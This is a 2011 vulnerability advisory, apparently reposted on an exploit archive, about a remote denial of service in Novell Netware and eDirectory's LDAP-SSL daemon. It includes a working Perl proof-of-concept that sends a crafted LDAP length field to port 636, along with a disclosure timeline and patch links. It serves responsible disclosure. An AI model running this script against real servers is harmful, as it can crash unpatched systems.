Novell Netware eDirectory DoS Vulnerability

2011-05-16T00:00:00
ID 1337DAY-ID-16119
Type zdt
Reporter nSense
Modified 2011-05-16T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            nSense Vulnerability Research Security Advisory NSENSE-2011-002
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Affected Vendor:    Novell
Affected Product:   Netware, eDirectory
Platform:           Netware / Linux
Impact:             Remote Denial of Service
Vendor response:    Patch
CVE:                None
Credit:             Knud / nSense
 
Technical details
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It is possible to cause a Denial of Service in Novell's
LDAP-SSL daemon due to the system blindly allocating a
user-specified amount of memory. Exploiting the issue on a
Netware system will cause a system-wide DoS condition. A script
for replicating the issue is included below:
 
#!/usr/bin/perl
# usage: ./novell.pl 10.0.0.1 0x41424344
use IO::Socket::SSL;
$socket = new IO::Socket::SSL(Proto=>"tcp",
PeerAddr=>$ARGV[0], PeerPort=>636);
die "unable to connect to $host:$port ($!)\n" unless $socket;
print $socket "\x30\x84" . pack("N",hex($ARGV[1])) .
"\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ;
close $socket; print "done\n";
 
 
Timeline:
20100819     Contacted vendor, supplied PoC
20100825     Vendor acknowledges receipt of information
20100826     Vendor creates ticket, SR # 10645215982
20100922     nSense requests status update
20100928     Vendor responds that a fix is being tested
20101109     nSense requests status update
20101112     nSense requests status update
20101112     Vendor responds, fix is still being tested
20101221     nSense requests status update
20101227     Vendor responds, patch is being built
20110124     nSense requests status update
20110127     Vendor responds, patches planned for medio feb 2011
20110320     nSense requests status update
20110329     nSense requests status update
20110329     Vendor responds, other issues discovered in code
20110409     Vendor responds, patch issued for eDirectory
20110409     nSense asks for netware patch date
20110419     nSense asks for netware patch date
20110427     nSense asks for netware patch date
20110504     Vendor responds, netware patch released
 
Solution
Install the vendor supplied patch.
Netware:    http://download.novell.com/Download?buildid=bXPFv5btgsA~
eDirectory: http://download.novell.com/Download?buildid=-KMoN4RVaCQ~
 
Links:
http://www.nsense.fi                       http://www.nsense.dk



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